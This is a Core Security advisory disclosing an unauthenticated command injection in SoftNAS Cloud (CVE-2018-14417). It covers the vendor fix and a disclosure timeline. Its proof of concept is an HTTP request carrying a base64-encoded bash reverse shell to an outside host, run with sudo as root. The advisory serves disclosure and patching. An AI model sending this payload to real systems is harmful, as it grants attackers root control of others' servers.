Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

SoftNAS Cloud OS Command Injection

1. *Advisory Information*

Title: SoftNAS Cloud OS Command Injection
Advisory ID: CORE-2018-0009
Advisory URL:
http://www.coresecurity.com/advisories/softnas-cloud-OS-command-injection
Date published: 2018-07-26
Date of last update: 2018-05-28
Vendors contacted: SoftNAS
Release mode: Coordinated release

2. *Vulnerability Information*

Class:  Improper Neutralization of Special Elements used in an OS
Command [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-14417

3. *Vulnerability Description*

SoftNAS' website states that:

[1] SoftNAS Cloud is a software-defined NAS filer delivered as a virtual
storage appliance that runs within public, private or hybrid clouds.
SoftNAS Cloud provides enterprise-grade NAS capabilities, including
encryption, snapshots, rapid rollbacks, and cross-zone high-availability
with automatic failover.

A command injection vulnerability was found in the web administration
console. In particular, snserv script did not sanitize some input
parameters before executing a system command.

4. *Vulnerable Packages*

. SoftNAS Cloud versions prior to 4.0.3
Other products and versions might be affected, but they were not tested.


5. *Vendor Information, Solutions and Workarounds*

SoftNAS released SoftNAS Cloud 4.0.3 that addresses the reported
vulnerability. The software update can be performed via the
StorageCenter admin UI in the product.
For more information on the updating process see:
https://www.softnas.com/docs/softnas/v3/html/updating_to_the_latest_version.html.

In addition, SoftNAS published the following release note:
https://docs.softnas.com/display/SD/Release+Notes

6. *Credits*

The vulnerability was discovered and researched by Fernando Diaz and
Fernando Catoira from Core Security Consulting Services. The publication
of this advisory was coordinated by Leandro Cuozzo from Core Advisories
Team.

7. *Technical Description / Proof of Concept Code*

7.1. *Check and execute update functionality abuse leading to command
execution*
[CVE-2018-14417]
The 'recentVersion' parameter from the snserv endpoint is vulnerable to
OS Command Injection when check and execute update operations are
performed.
This endpoint has no authentication/session verification. Therefore, it
is possible for an unauthenticated attacker to execute malicious code in
the target server. As the WebServer runs a Sudoer user (apache), the
malicious code can be executed with root permissions.

The following part of the /etc/sudoers file shows the apache user
capabilities.

/-----
User_Alias      APACHE = apache
# Once SoftNAS UI is operational, only allow the specific command that
require sudo access!!
Cmnd_Alias      SOFTNAS = ALL
APACHE  ALL = (ALL) NOPASSWD: SOFTNAS
-----/

The following proof of concept generates a remote shell on the target
system as root:

/-----
GET
/softnas/snserver/snserv.php?opcode=checkupdate&opcode=executeupdate&selectedupdate=3.6aaaaaaa.1aaaaaaaaaaaaaa&update_type=standard&recentVersions=3.6aaaaaaaaaaa.1aaaaaaa;echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yLjQ1LjE4NS8xMjM0NSAwPiYx+|+base64+-d+|+sudo+bash;
HTTP/1.1
Host: 10.2.45.208
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.2.45.208/softnas/applets/update/
X-Requested-With: XMLHttpRequest
Connection: close
-----/

As can be seen in the former request the payload had to be base64
encoded as some special characters were not being properly decoded.

8. *Report Timeline*
2018-05-29: Core Security sent an initial notification to SoftNAS,
including a draft advisory.
2018-05-31: SoftNAS confirmed the reported vulnerability and informed
they were working on a plan to fix the issue.
2018-05-31: Core Security thanked the SoftNAS' reply.
2018-06-15: Core Security requested a status update.
2018-06-26: SoftNAS answered saying the fixed version was scheduled for
late July.
2018-06-26: Core Security thanked the update.
2018-07-16: Core Security asked for a status update and requested a
solidified release date.
2018-07-16: SoftNAS informed that the new release version were under QA
verification and they would have the release date during the week.
2018-07-19: SoftNAS notified Core Security that SoftNAS Cloud 4.0.3
version was already available.
2018-07-19: Core Security thanked SoftNAS's update and set July 26th as
the publication date.
2018-07-26: Advisory CORE-2018-0009 published.

9. *References*

[1] https://www.softnas.com

10. *About CoreLabs*

CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies. We conduct our research in several important areas of
computer security including system vulnerabilities, cyber attack
planning and simulation, source code auditing, and cryptography. Our
results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.

11. *About Core Security*

Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and
context needed to manage security risks across the enterprise. This
shared insight gives customers a comprehensive view of their security
posture to make better security remediation decisions. Better insight
allows organizations to prioritize their efforts to protect critical
assets, take action sooner to mitigate access risk, and react faster if
a breach does occur.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com

12. *Disclaimer*

The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/